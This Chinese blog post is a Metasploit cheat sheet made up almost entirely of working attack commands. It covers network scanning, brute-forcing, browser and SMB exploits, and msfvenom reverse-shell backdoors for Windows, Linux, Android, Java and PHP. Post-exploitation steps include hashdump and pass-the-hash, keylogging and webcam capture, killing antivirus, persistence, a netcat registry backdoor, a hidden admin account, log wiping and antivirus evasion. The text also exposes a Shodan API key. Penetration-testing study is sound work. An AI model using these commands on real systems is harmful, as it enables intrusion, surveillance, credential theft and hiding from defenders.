• metsploit 渗透测试指南


    MSF
    Metasploit FrameWork MSF
    渗透测试攻击框架
    metasploit v4.14.10-dev
    开发版是免费的,自动集成在kali 里
    正式版是收费的
    https://www.metasploit.com/
    https://github.com/rapid7/metasploit-framework
    跨平台的
    诸葛建伟 《Metasploit 魔鬼训练营》
    msf 中的脚本都是ruby 语言写的
    利用“永恒之蓝”直接入侵目标系统
    永恒之蓝 MS17-010
    metasploit v4.16.48-dev
    payload
    就是我们渗透攻击是所使用的代码
    msfconsole  启动msf 控制台
    search 搜索某一个模块
    use  使用某一个模块
    show options 查看某一个模块的配置
    set 命令
    set RHOST 设置远程目标地址
    set LHOST 设置本机地址
    set payload windows/x64/meterpreter/reverse_tcp
    meterpreter 系列
    一般使用tcp 反弹连接
    windows/x64/meterpreter/reverse_tcp
    show payloads 显示所有可用的payload 模块
    show targets 显示可用的目标
    exploit
    MS17-010 缓冲区溢出漏洞
    比较底层 而且与系统架构和程序的内存空间有关系
    程序的运行时逐条执行
    通过缓冲区溢出漏洞改变了程序的执行流程
    meterpreter
    技术优势
    平台通用性
    纯内存工作模式
    灵活且加密的通信协议
    易于扩展
    基本命令
    background
    sessions
    sessions -i 1
    quit
    shell
    metsploit
    sync 保存当前配置
    metasploit(msf)
    渗透攻击(exploit)
    测试者利用系统,程序,或者服务的漏洞进行攻击的过程
    攻击载荷(payload)
    攻击者在目标系统上执行一段攻击代码,该代码具有反弹连接,创建用户,执行其他系统命令的功能
    shellcode
    在目标机器上运行的一段机器指令,成功执行后会返回一个shell(相当于木马的服务端,可以主动连接客户端)
    模块(module)
    指metasploit框架中所使用的一段软件代码组件
    监听器(listener)
    metasploit中用来等待接入网络连接的组件
    msf模块
    aux辅助模块(主要完成信息收集)
    exploit模块(进行渗透攻击)
    post后渗透攻击模块(进行主机控制和拓展攻击)
    meterpreter后渗透攻击模块(对目标主机的持久控制)
    msf可以实现对指定的攻击载荷进行自动化编码机制绕过攻击限制与检测机制。
          =[ metasploit v4.17.31-dev                         ]
    + — –=[ 1842 exploits – 1041 auxiliary – 320 post       ]
    + — –=[ 541 payloads – 44 encoders – 10 nops            ]
    + — –=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
    模块
    exploits      渗透攻击模块
    auxiliary     辅助模块
    post           后渗透攻击模块
    payloads    攻击载荷模块
    encoders    编码器模块
    nops          空指令模块
    接口
    msfconsole    控制台
    msfcli            命令行
    msfgui           图像化界面
    armitage        图形化界面
    msfapi           远程调用接口
    msf启动设置
    msf与postgresql协同工作
    msfdb
    msfdb init
    msfconsole
    进入后输入db_status查看数据库连接状态
    连接成功,简单易操作,重新建立缓存
    msf > db_rebuild_cache
    最后把postgresql设置为开机自启
    root@kali:~# update-rc.d postgresql enable
    workspace -a test  创建一个工作台
    删除   -d   选项
    进入  test 工作台
    workspace test
    使用nmap
    db_nmap -sS 192.168.199.103   扫描主机
    db_export 1.xml   导出扫描结果
    db_import 2.xml  导入扫描结果
    hosts   查看扫描的目标
    db_services 查看扫描结果
    db_hosts -C address  查看导入的主机ip
    msf > nmap -v -sV 192.168.199.237
    信息搜集模块
    1.whois查询
    msf > whois testfire.com
    msf > whois 8.8.8.8
    2.http://searchdns.netcraft.com   在线搜集服务器 IP信息工具
    3.nslookup
    msf > nslookup
    > www.baidu.com
    高级扫描方式
    search scanner
    扫描ip段中存活的ip
    use auxiliary/scanner/ip/ipidseq   #ipid序列扫描器,与nmap -sI -O选项类似
    show options
    set RHOSTS 192.168.199.1/24
    set RPORT  80
    set THREADS 50
    run
    (RHOST、RPORT等参数也可以小写)
    使用portscan端口扫描模块
    search portscan
    auxiliary/scanner/portscan/syn
    set threads 50(真实使用时线程尽可能小,线程过大目标容易死机)
    run
    特定扫描
    smb_version模块:
    search scanner/smb
    use auxiliary/scanner/smb/smb_version
    show options
    set rhosts 192.168.199.1/24
    run
    db_hosts -c address,os_flavor
    找mysql主机:
    msf > search /scanner/mysql
    msf > use auxiliary/scanner/mysql/mysql_version
    msf > show options
    msf > set rhosts 192.168.199.1/24
    msf > threads 50(线程过大容易宕机)
    msf > run
    SSH服务器扫描
    msf > search /scanner/ssh
    msf > use auxiliary/scanner/ssh/ssh_version
    msf > show options
    msf > set rhosts 192.168.199.1/24
    msf > threads 50
    msf > run
    telnet服务扫描(同上)
    msf > search /scanner/telnet
    msf > use auxiliary/scanner/telnet/telnet_version
    扫描ftp匿名登录
    msf > search /scanner/ftp
    msf > use auxiliary/scanner/ftp/anonymous
    VNC身份认证
    search  /scanner/vnc
    use auxiliary/scanner/vnc/vnc_none_auth
    WMAP是一款轻量级的web漏洞扫描器
    WMAP
    msf > load wmap   启动wmap
    msf > wmap_sites   查看选项
    msf > wmap_sites -a http://www.payload.com    添加一个URL
    msf > wmap_sites -l    查看添加的网站信息
    msf > wmap_targets -t http://107.170.124.147
    msf > wmap_targets -l    查看是否写入成功
    msf > wmap_run -h     查看扫描选项
    msf > wmap_run -t
    msf > wmap_run -e
    msf > wmap_vulns -l
    msf > vulns    列出发现的漏洞信息
    扫描局域网中的存活主机
    msf > search /scanner/discovery
    msf > use auxiliary/discovery/arp_sweep
    扫描网站目录
    msf > search /scanner/http/dir
    msf > use auxiliary/scanner/http/dir_scanner
    扫描SNMP主机(主机管理):
    msf > search /scanner/snmp
    msf > use auxiliary/scanner/snmp/snmp_login
    开放代理探测与利用
    msf > search open_proxy
    msf > use auxiliary/scanner/http/open_proxy
    set RHOSTS 192.168.199.1/24
    set MULTIPORTS true
    set THREADS 100
    run
    root@kali:~# openvas-start    开启
    在msf中使用openvas
    msf > open openvas
    msf > openvas_connect admin admin 192.168.199.103 9390 ok
    搜索网站中的E-mail地址
    msf > search search_email
    msf > use auxiliary/gather/search_email_collector
    > show options
    > set Domain testfire.com
    嗅探抓包
    msf > search sniffer
    msf > use auxiliary/sniffer/psnuffle
    口令爆破模块
    ssh口令爆破
    msf > search /scanner/ssh
    msf > use auxiliary/scanner/ssh/ssh_login
    > set rhosts 192.168.199.238
    > set PASS_FILE pass.txt
    > set USERNAME root
    > exploit
    tomcat爆破
    msf > search tomcat
    msf > auxiliary/scanner/http/tomcat_mgr_login
    telnet爆破
    msf > search tomcat
    msf > use auxiliary/scanner/telnet/telnet_login
    ftp爆破
    msf > search ftp
    msf > use auxiliary/scanner/ftp/ftp_login
    samba爆破
    msf > search smb
    msf > use auxiliary/scanner/smb/smb_login
    rdp、postgresql、mysql、mssql等等其他服务用法类似
    漏洞利用模块
    metasploit常用漏洞利用命令
    用指定关键字搜索可利用漏洞:
    search <name>
    使用漏洞:
    use <exploit name>
    显示选项:
    show options
    设置选项:
    set <OPTION NAME> <option>
    显示装置:(用来回连的攻击载荷)
    show payloads
    显示目标(os版本):
    show targets
    设置目标版本:
    set targets <target number>
    开始漏洞攻击:
    exploit
    sessions -I 列出会话
    sessions -i <ID> 选择会话
    sesssion -k <ID> 结束会话
    Ctrl + z   会话放到后台
    Ctrl + c   结束会话
    show auxiliary 显示辅助模块
    use <auxiliary name>  使用辅助模块
    set <option name> <option>  设置选项
    run 运行模块
    auxiliary常用模块
    admin       管理模块漏洞(绕过、上传、下载等)
    analyze     身份认证漏洞
    client        客户端漏洞
    dos           操作系统漏洞
    fileformat  文件格式
    fuzzers      模糊测试
    gather       信息收集
    scanner     扫描爆破
    server(dns、dhcp、ftp等)   服务漏洞
    spoof         欺骗
    sqli             注入
    VoIP           网关协议等
    测试漏洞
    ms10_002
    ms10_018
    ms12_020
    ms10_046
    ms08_067(xp远程代码执行)
    ms12_004(xp、server2003、win7文件解析远程代码执行)
    linux samba 漏洞利用
    dll 注入攻击
    MS10_002
    实验环境:kali+xp
    msf > search ms10_002
    msf > use exploit/windows/browser/ms10_002_aurora
    show payloads
    set paylaod
    > set payload windows/meterpreter/reverse_tcp
    show options
    > set SRVHOST 192.168.199.165
    > set SRVPORT 80
    > set URIPATH /
    > set LHOST 192.168.199.165
    > set LPORT 444
    使用会话1
    > sessions -i 1
    meterpreter > shell
    ms10_018 microsoft IE畸形对象操作内存破坏漏洞
    受影响系统:
    win7(IE7.0)
    IE 6.0
    IE 6 SP1
    msf > search ms10_018
    msf > use exploit/windows/browser/ms10_018_ie_behaviors
    > show payloads
    > set payload windows/shell/reverse_tcp
    > set SRVHOST 192.168.199.165  (本机地址)
    > set SRVPORT 83
    > set URIPATH /
    > set LHOST 192.168.199.165(由于采用reverse_tcp反向连接技术,故该地址为反向监听的地址)
    > set LPORT 1222
    > exploit
    sessions -i  查看会话
    sessions -i 1  使用会话1
    ms12_020(蓝屏)
    search ms12_020
    use auxiliary/scanner/rdp/ms12_020_check   (扫描开启3389的主机)
    show options
    set RHOSTS 192.168.199.1/24
    set THREADS 50
    run
    use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
    show options
    set RHOSTS 192.168.199.237
    run
    ms10_046
    受影响系统:xp、win7、winserver2008
    use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
    ms12_004
    use exploit/windows/browser/ms12_004_midi
    > set payload windows/meterpreter/reverse_tcp
    linux samba漏洞
    影响版本:samba3.0 debian
    search samba
    use exploit/linux/samba/lsa_transnames_heap
    show payloads
    set payload linux/x86/shell_bind_tcp
    show options
    set RHOST 192.168.199.199
    set LPORT 8080
    exploit
    dll注入攻击
    msf > search webdav_dll
    msf > use exploit/windows/browser/webdav_dll_hijacker
    set payload windows/meterpreter/reverse_tcp
    > set SRVHOST 192.168.199.165
    > set SRVPORT 80
    > set LHOST 192.168.199.165
    set LPORT 1015
    exploit
    Ndproxy内核提权
    前提  有一个会话
    meterpreter > exit
    sessions
    search ms14-002
    exploit/windows/local/ms_ndproxy
    show options
    set session 1
    exploit
    getuid
    meterpreter > getsystem  (meterpreter下直接提权)
    内网渗透
    meterpreter > run autoroute -s 192.168.199.1/24
    meterpreter > run autoroute -p (活跃的路由表)
    xss利用
    msf > search keylogger
    msf > use auxiliary/server/capture/http_javascript_keylogger
    set DEMO true
    set SRVPORT 80
    run
    msf shellcode的使用(后门)
    windows
    linux
    android
    java
    php
    windows后门
    生成shellcode
    root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f exe > shell.exe
    侦听shellcode
    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.199.165
    set LPORT 444
    exploit
    将生成的shell.exe发送或上传到目标系统并执行即可拿到反弹shell系统权限
    ——————————————————————–
    Linux后门
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f elf > shell.elf
    Windows
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f exe > shell.exe
    ———————————————————————
    android后门
    生成android shellcode
    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f apk > shell.apk
    侦听shellcode
    use exploit/mutli/handler
    set payload android/meterpreter/reverse_tcp
    set LHOST 192.168.199.165
    set LPORT 444
    exploit
    dump_contacts    导出电话
    dump_sms    导出信息
    Webcam_list     摄像头列表
    -i 1   选择某个摄像头
    webcam_snap    拍照
    webcam_stream    开启摄像头
    java后门
    生成shellcode
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f jar > shell.jar
    侦听shellcode
    use exploit/mutli/handler
    set payload java/meterpreter/reverse_tcp
    set LHOST 192.168.199.165
    set LPORT 444
    exploit
    php后门
    生成shellcode
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f php > shell.php
    侦听shellcode
    use exploit/multi/handler
    set payload php/meterpreter/reverse_tcp
    set LHOST 192.168.199.165
    set LPORT 444
    exploit
    其余类型如python、jsp、asp、war、mac等用法类似
    shellcode常规免杀
    使用多重编码免杀
    加壳免杀
    upx免杀  root@kali:~# upx -5 shell.apk
    veil免杀
    shellter免杀(给正常exe注入代码)
    Kali Linux:
    apt-get update
    apt-get install shellter
    shellter
    (需要wine环境apt-get install wine32)
    meterpreter>getuid
    meterpreter>hushdump(获取密码hash)
    kali linux 64位上安装32位的wine
    在终端下输入
    dpkg –add-architecture i386
    apt-get update
    apt-get install wine32
    安装会有一个error提示 提示使用apt-get update来修复,那就继续输入apt-get update
    apt-get install wine32
    OK
    meterpreter常用命令
    对反弹的shellcode进行利用的平台
    截屏    screenshot
    获取系统运行的平台   sysinfo
    获取键盘记录
    keyscan_start
    keyscan_dump
    ps  查看进程
    migrate 1744    切换进程
    run post/windows/capture/keylog_recorder  记录键盘记录
    hashdump   获取hash
    新开一个终端开启msf(hash值传递渗透)
    use exploit/windows/smb/psexec
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.199.165
    set LPORT 9999
    set RHOST 192.168.199.103
    show options
    set SMBUser Administrator
    set SMBPass xxxxxxxxxx
    exploit
    成功使用hash登录目标机器
    meterpreter持久控制PC机
    进程迁移
    run post/windows/manage/migrate(自动查找稳定的进程并切换)
    关闭杀软
    run killav
    查看目标机所有流量
    run packetrecorder -i 1
    提取系统信息
    run scraper
    持久控制
    设置后门每50秒外连一次
    run persistence -X -i 50 -p 1111 -r 192.168.199.165
    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.199.165
    set LPORT 1111
    exploit
    sessions -u 2  升级shell变meterpreter
    持久控制服务器
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=3333 -f exe > shell.exe
    前提条件服务器系统可以
    run metsvc -A 安装后门
    msfconsole
    use exploit/multi/handler
    set payload windows/metsvc_bind_tcp
    set LPORT 31337(固定端口不可变)
    set RHOST 192.168.199.103
    exploit
    在metaploit中捕获包
    获得meterpreter shell后使用
    meterpreter>run packetrecorder    捕获目标系统数据包
    meterpreter>run packetrecorder -li    查看可用的捕获网络接口
    meterpreter>run packetrecorder -i 1 -l /root   指定捕获接口并将捕获文件保存到root
    msf对samba的usermap进行利用
    search samba/usermap
    use exploit/multi/samba/usermap_script
    info exploit/multi/samba/usermap_script  查看usermap_script的详细信息
    set RHOST 192.168.199.103
    exploit
    使用metasploit实现shodan搜索;
    1.在sodan网站注册账号
    2.获取网站api key
    API Key: DIBm9sd41tZlOecdazy9LdgQYV6SI2WE
    3.启动postgresql:service postgresql start
    4.启动metaploit
    5.search shodan_search
    use auxiliary/gather/shodan_search
    set SHODAN_APIKEY DIBm9sd41tZlOecdazy9LdgQYV6SI2WE
    set QUERY iomega
    run
    修改网卡配置信息:
    sudo vim /etc/network/interfaces
    重启
    sudo /etc/init.d/networking restart
    配置路由信息
    vim /etc/sysctl.conf
    设置转发规则
    echo 1 > /proc/sys/net/ipv4/ip_forward
    内存攻击
    攻击者利用软件安全漏洞构造恶意输入导致软件在处理输入数据时出现非预期错误,将输入数据写入内存中某些特定敏感位置,从而劫持软件控制流,
    而执行外部输入的指令代码,造成目标系统被远程控制或拒绝服务。
    缓冲区溢出漏洞
    程序由于缺乏对缓冲区的边界条件检查而引起的一种异常行为,通常是程序向缓冲区中写数据,但内容超过了程序员设定的缓冲边界,造成程序的非预期行为。
    栈溢出
    栈溢出发生在程序向位于栈中的内存地址写数据时,当写入的数据长度超过栈分配给缓冲区的空间时,就会造成栈溢出,理想情况下可以执行任意代码
    堆溢出
    堆是程序运行时动态分配的内存
    msf中自动化浏览器攻击
    search browser_autopwn
    use auxiliary/server/browser_autopwn
    Adobe渗透测试
    meterpreter命令
    信息窃取—dumplinks
    meterpreter > run post/windows/gather/dumplinks
    获得目标主机最近进行的系统操作、访问文件和office文档操作记录
    enum_applications模块
    meterpreter > run post/windows/gather/enum_applications
    获得目标主机安装的软件、安全更新与漏洞补丁的信息
    键盘记录器
    meterpreter > keyscan_start       启动键盘记录
    meterpreter > keyscan_dump     输出截获到的用户输入
    meterpreter > keyscan_stop       退出
    使用数据包嗅探模块
    meterpreter >use sniffer
    读取浏览器缓存
    meterpreter > run post/windows/gather/enum_ie
    包括目标主机IE浏览历史记录、保存到cookie、IE缓存的密码等都保存到本地文件中
    smart_hashdump后渗透攻击模块工作流程:
    meterpreter >  run windows/gather/smart_hashdump
    1.检查会话具有的权限和目标操作系统类型
    2.检查目标机是否是域控服务器
    3.首先尝试直接从注册表中读取哈希值,不成功的话再尝试注入LSASS进程。
    如果是域控制器将直接对LSASS进程进行注入。
    4.如果目标系统是win 2008 server,而且会话具有管理员权限,这时使用getsystem命令尝试获得system权限,如果system权限下不能注入LSASS进程,这时会用migrate命令将代码移植到已经运行在system权限下的进程中,然后再对LSASS进程进行注入;
    5.如果检测到目标系统是win7/vista,UAC已经关闭,而且会话具有本地管理员权限,这时运行getsystem命令从注册表中读取;
    6.在win2003/2000/xp系统下直接运行getsystem命令,如果成功再从注册表中读取哈希值。
    可以看出,start_humpdump模块考虑了在多种系统环境下密码哈希获取的差异,以及在LSASS进程注入不成功情况下的解决办法,成功率提升不少。
    但是如果win7开启了UAC,获取密码哈希和getsystem命令都会失败,这时则需要首先使用绕过win7 UAC的后渗透攻击模块。
    获得目标系统hash后两种利用方式
    1.破解hash进行利用(针对简单口令)
    2.直接重放利用,利用获取的口令进行哈希传递攻击
    内网拓展
    以攻陷的主机作为跳板,在对内网中其他机器进行攻击。
    添加路由
    meterpreter > run get_local_subnets
    meterpreter > background
    route add 192.168.199.0/24 255.255.255.0 2  告知系统将192.168.199.0/24网段(即受控主机本地网络)通过攻击会话2进行路由。
    route print      显示当前活跃的路由设置
    可以看到msf成功的在会话上添加了该网段的路由,这意味着你对该网段所有的攻击和控制的流量都将通过会话1进行转发。
    2.进行445端口进行扫描
    search scanner/postscan/tcp
    set RHOSTS 192.168.199.0/25
    set RPORT 445
    run
    3.攻击过程
    对扫描到的机器进行攻击
    msf > use exploit/windows/smb/psexec
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.199.165
    set LPORT 443
    set RHOST 192.168.199.103
    set SMBPass xxx
    exploit
    使用droplink的post模块在目标机器C:windowssystem32目录创建work.lnk文件。
    msf > search droplnk
    msf > use post/windows/escalate/droplnk
    5.搭建SMB服务器
    msf > search windows/smb
    msf > use exploit/windows/smb/smb_relay
    set SRVHOST 192.168.199.100
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.199.165
    exploit
    使用jobs    查看运行状态
    环境搭建好了,就等着鱼儿上钩了
    最后一步,清除痕迹
    利用kali linux光盘或者usb启动盘破解windows密码
    测试目标 win7、win8
    自启动postgresql
    update-rc.d postgresql enable
    db_import kfnmap.xml
    hosts -c address
    services    查看主机开放的服务
    端口扫描
    search scanner/portscan
    migrate 1044    进程注入
    meterpreter
    运行脚本 run vnc
    迁移进程 run post/windows/manage/migrate
    关闭杀软 run killav
    获取hash密码   hashdump
    查看流量 run packetrecorder -li 1
    获取操作信息信息   run scraper
    创建持久后门 run persistence -X -i 50 -p 4445 -r 192.168.199.165
    use multi/handler
    set paylaod windows/meterpreter/reverse_tcp
    set LPORT 4445
    set LHOST 192.168.199.165
    run
    Raingun组件
    提供了在meterpreter中调用windows api的能力
    meterpreter > irb
    >> client.railgun.user32.MessageBoxA(0,’hello’,’world’,MB_ok)
    目标系统会弹出一个hello world的弹窗。
    payload分离免杀针对win32位系统
    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.199.165 lport=8080 -e x86/shikata_ga_nai -i 5 -f raw > test.c
    Desktopshellcode_launcher-master>shellcode_launcher.exe -i test.c
    使用execute执行程序
    meterpreter > execute -f 1111.exe
    execute -f<file> [Options]
    运行后它将执行file参数所指定的文件。可选参数如下:
    -H:创建一个隐藏进程
    -a:传递给命令的参数
    -i:跟进程进行交互
    -m:从内存中执行
    -t:使用当前伪造的线程令牌运行进程
    -s:在给定会话中执行进程
    启用远程桌面(rdesktop 192.168.192.xxx)
    当我们新添加的用户已经拥有远程桌面权限之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
    首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的getgui脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启):
    meterpreter > run getgui -e
    在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长:
    meterpreter > idletime
    User has been idle for: 1 hour 4 mins 49 secs
    键盘记录
    Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
    keyscan_start:开启键盘记录功能
    keyscan_dump:显示捕捉到的键盘记录信息
    keyscan_stop:停止键盘记录功能
    清除日志
    meterpreter > clearev
    meterpreter 持久化访问的多种方式
    meterpreter 在获取shell之后,如何持续控制目标主机,即在目标主机重启或下次开机后能自动连接到攻击主机上,不必每次都需要进行攻击取得 meterpreter。
    1. 通过persistence脚本
    meterpreter > run persistence -X -i 5 -p 4444 -r 192.168.199.165
     -X 开机自启动
     -i <num> payload重连的间隔时间
     -p 反向连接端口号
     -r 反向连接IP地址
    2. 通过metsvc服务的方式
    运行”run metsvc”将会在目标主机上以Meterpreter的服务的形式注册在服务列表中,并开机自动自动。运行”run metsvc -r”卸载目标主机上的Meterpreter服务。
    meterpreter > run metsvc
    3. 通过开启远程桌面
     强制开启目标主机远程桌面并自动添加用户名为metasploit密码为meterpreter的用户
    run getgui -u metasploit -p meterpreter
    # 上面命令会生成清理痕迹的ruby的脚本文件,位置在/root/.msf4/logs/scripts/getgui/clean_up_xxxxx.rc
    # 当操作完目标用户后可以使用此脚本清理痕迹、关闭远程桌面服务和删除创建的用户
    un multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up_xxxxx.rc
    4. 通过nc(netcat)
    # 上传nc.exe至目标主机
    meterpreter > upload /root/Desktop/nc.exe c:\windows\system32
    # 枚举查看注册表启动项
    meterpreter > reg enumkey -k HKLM\software\microsoft\windows\currentversion\run
    # 将nc.exe设置到注册表启动项中
    meterpreter > reg setval -k HKLM\software\microsoft\windows\currentversion\run -v
    nc  -d ‘c:windowssystem32 c.exe -Ldp 455 -e cmd.exe’
    # 查看以确定nc已经被设置到注册表启动项中
    meterpreter > reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v
    nc
    # 进入目标系统cmd
    eterpreter > execute -f cmd -i
    # 查看目标系统当前防火墙规则
    c:Document and Setting ushDesktop > netsh firewall show opmode
    # 将nc开放的端口加入到目标系统防火墙规则中
    c:Document and Setting ushDesktop > netsh firewall add portopening TCP 455 “Service Firewall”  ENABLE ALL
    # 查看目标系统防火墙端口开放状态
    c:Document and Setting ushDesktop > netsh firewall show portopening
    # 转至攻击主机上,执行nc连接到目标主机上,得到shell
    nc
    -v
    192.168.0.3 455
    5. 目标主机创建隐藏用户
    # 创建用户(注意这里用户使用了$符号,可以起到隐藏创建用户的目的)
    c:Document and Setting ushDesktop > net user hacker$ hacker /add
    # 将创建的用户添加到管理员组
    c:Document and Setting ushDesktop > net localgroup administrators hacker$ /add
    免杀工具—Veil-Evasion
    项目地址:https://github.com/Veil-Framework/Veil-Evasion Veil-Evasion是与Metasploit生成相兼容的Payload的一款辅助框架,并可以绕过大多 数的杀软。
    git clone https://github.com/Veil-Framework/VeilEvasion.git
    /setup.sh       安装
    msf内置search模块,在实战中,为了更快速的找到对应模块,它提供了type参数(未来会 具体讲到模块参数),以ftp模块为例。
    msf > search type:auxiliary ftp
    msf > use auxiliary/scanner/ftp/ftp_version
    show options
    显示中requeried 列为yes则为必填项,必须得设置参数。
    set RHOSTS 192.168.199.103
    set THREADS 50
    exploit
    use auxiliary/scanner/ftp/ftp_login
    set RHOSTS 192.168.199.103
    set USERNAME administrator
    set PASS_FILE /root/wordlist.txt
    exploit
    ftp本地模糊测试辅助模块:
    search fuzzers/ftp
    use auxiliary/fuzzers/ftp/ftp_pre_post
  • 相关阅读:
    Spring+Hibernate集成后事务与Session的一些理解。
    对Spring的一些个人理解
    centos5.8 x86_64安装oracle10g
    C#中MessageBox用法大全(附效果图)
    解决SQL Server管理器无法连接远程数据库的问题
    【sql2000数据库】Named Pipes Provider error 40
    用SQL数据库批量插入数据简介
    DBGridEH在Delphi7中的安装方法及使用说明
    sql server中datetime字段只取年月日如20060421,默认值如何设置?getdate()得到的是包含时分秒的时间。
    获取 Windows 窗体 DataGridView 控件中选定的单元格、行和列
  • 原文地址:https://www.cnblogs.com/micr067/p/12519794.html
Copyright © 2020-2023  润新知